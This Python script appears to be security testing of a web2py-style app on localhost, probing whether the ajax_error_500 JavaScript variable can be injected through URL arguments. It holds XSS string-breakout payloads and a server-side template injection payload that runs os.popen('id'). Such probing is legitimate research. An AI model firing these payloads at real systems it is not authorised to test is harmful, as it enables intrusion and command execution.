#!/usr/bin/env python3
"""
Test to find if we can exploit the ajax_error_500 JavaScript variable injection.

The template has:
ajax_error_500 = T.M('An error occured, please [[reload %s]] the page') % URL(args=request.args, vars=request.get_vars)

This is then passed through ASSIGNJS which calls json() to serialize.
Let's test if we can break out of the JSON string context.
"""

import requests
import urllib.parse

# Target URL
BASE_URL = "https://localhost:5000"

def test_payload(payload_type, payload):
    """Test a specific payload"""
    print(f"\n[*] Testing {payload_type}:")
    print(f"    Payload: {payload}")
    
    # URL encode the payload
    encoded = urllib.parse.quote(payload)
    url = f"{BASE_URL}/welcome/default/index?test={encoded}"
    
    try:
        response = requests.get(url, verify=False, timeout=5)
        print(f"    Status: {response.status_code}")
        
        # Look for the payload in various contexts
        if "ajax_error_500" in response.text:
            # Extract the ajax_error_500 line
            for line in response.text.split('\n'):
                if 'ajax_error_500' in line:
                    print(f"    Found in: {line.strip()[:200]}")
                    
                    # Check if payload executed
                    if payload in line or payload.replace('"', '\\"') in line:
                        print("    [!] Payload appears in JavaScript context!")
                        
        return response.text
    except Exception as e:
        print(f"    Error: {e}")
        return None

# Test payloads
payloads = [
    # Basic string injection
    ("Simple injection", '";alert(1);//'),
    
    # Try to break JSON encoding
    ("Newline injection", '\\n";alert(1);//'),
    ("Unicode escape", '\\u0022;alert(1);//'),
    
    # Template injection  
    ("SSTI basic", '{{=7*7}}'),
    ("SSTI code", "{{=__import__('os').popen('id').read()}}"),
    
    # Try in args instead of vars
    ("Args injection", None),  # Will test via args
]

print("=" * 60)
print("Testing ajax_error_500 JavaScript Variable Injection")
print("=" * 60)

for payload_type, payload in payloads:
    if payload:
        test_payload(payload_type, payload)

# Test via args
print(f"\n[*] Testing via URL args:")
url = f'{BASE_URL}/welcome/default/index/";alert(1);//'
try:
    response = requests.get(url, verify=False, timeout=5)
    print(f"    Status: {response.status_code}")
    if "ajax_error_500" in response.text:
        for line in response.text.split('\n'):
            if 'ajax_error_500' in line:
                print(f"    Found in: {line.strip()[:200]}")
except Exception as e:
    print(f"    Error: {e}")

print("\n" + "=" * 60)
print("Checking what actually gets into the URL() function:")
print("=" * 60)

# Test simpler payloads to understand encoding
simple_tests = [
    '<script>alert(1)</script>',
    '"test"',
    "'test'",
    '\\',
    '\n',
]

for test in simple_tests:
    url = f"{BASE_URL}/welcome/default/index?param={urllib.parse.quote(test)}"
    try:
        response = requests.get(url, verify=False, timeout=5)
        for line in response.text.split('\n'):
            if 'ajax_error_500' in line:
                print(f"\nInput:  {repr(test)}")
                print(f"Output: {line.strip()[:300]}")
                break
    except Exception as e:
        pass
